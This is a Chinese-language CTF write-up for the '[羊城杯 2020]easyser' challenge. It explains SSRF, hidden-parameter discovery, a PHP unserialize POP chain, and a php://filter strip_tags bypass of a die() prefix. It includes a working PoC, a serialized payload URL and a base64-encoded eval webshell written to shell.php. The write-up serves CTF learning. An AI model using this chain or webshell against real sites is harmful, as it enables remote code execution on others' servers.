当前位置: 首页 > news >正文

[羊城杯 2020]easyser

打开页面是个什么Apache2的页面,先扫一扫看看有没有hint

 扫一扫还是有东西

尝试访问flag.php一片空白,还有个登录页面

再看看robots.txt会有什么提示吧

继续访问看看

跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的服务器和不安全的协议应该就是SSRF

尝试用SSRF来读取

?path=http://127.0.0.1/star1.php

读取ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
} 

这里我们可以发现是php序列化的代码,但是没有反序列化的入口 ,去看了一下wp用Arjun来扫描参数

参数是"c"

知道了参数就该开始找pop链了

同样的先找高危函数做链尾file_put_contents,可以通过函数读取文件中的flag,这里通过上传一句话木马来getshell,链尾确定

从后往前推,要触发Yongen::hasaki(),在GWHT::toString()中就直接调用了hasaki()方法

再触发toString方法,构成完整的pop链(但是这里有个疑惑点,__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
应该是源码中反序列化点会直接输出对象,直接能触发该方法。)

逻辑如下
$c=$_GET['c']; 
    if(isset($c)){
        echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法
    }
    else{
        echo "your hat is too black!";
    }
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

 关键点就是如何绕过死亡代码<?php die("nononon");?>,这个东西会拼接在我们要读取的变量里面;方法是用strip_tags绕过,死亡代码终究是一句php的标签,用strip_tags把标签去除,php://filter也支持strip_tags(string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数)所以先base64编码,用string.strip_tags 将<?php?>全部删掉,再base64解码

poc

<?php
 
class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk/Pg==";
}
 
 
$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

payload

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}

 在shell.php页面进行命令执行

相关文章:

  • Android无障碍服务
  • 微信小游戏插件申请,微信小程序插件管理
  • 新手怎么使用GitHub?
  • 解决CentOS 7无法识别ntfs的问题
  • 2024.6.12总结
  • Linux2(文件类型分类 基本命令2 重定向)
  • Android 汉字转拼音(两行就够了)
  • tomcat10部署踩坑记录-公网IP和服务器系统IP搞混
  • 图片转Base64
  • 打造专属 Switch 模拟游戏机
  • android studio开发时提示 TLS 握手错误解决办法
  • 【MATLAB源码-第224期】基于matlab的快跳频系统仿真采用4FSK,模拟了单音干扰,宽带干扰以及部分频带干扰,输出误码率曲线以及各节点图像。
  • 数据结构习题(快期末了)
  • 【NLP练习】Transformer中的位置编码
  • Go模板页面浏览器显示HTML源码问题
  • 最新下载:EasyRecovery易恢复软件安装视频教程
  • GEE数据融合——Landsat (collection 2,level 2 )4、5、7、8、9长时间序列影像数据融合和视频导出分析
  • Idea jdk配置的地方 启动时指定切换的地方
  • 数据治理新视角:质量与真实度提升,让数据更有价值!
  • 【Qt 学习笔记】Qt窗口 | 对话框 | 创建自定义对话框
  • 库里22分赢下抢七大战,火箭10年难破“火勇大战”的魔咒
  • 伊朗港口爆炸事故遇难人数最终确定为57人
  • 五一当天1372对新人在沪喜结连理,涉外婚姻登记全市铺开
  • 人民日报钟声:国际社会应共同维护科学溯源的正确方向
  • 体重管理门诊来了,瘦不下来的我们有救了?|健康有方FM
  • 东风着陆场近日气象条件满足神舟十九号安全返回要求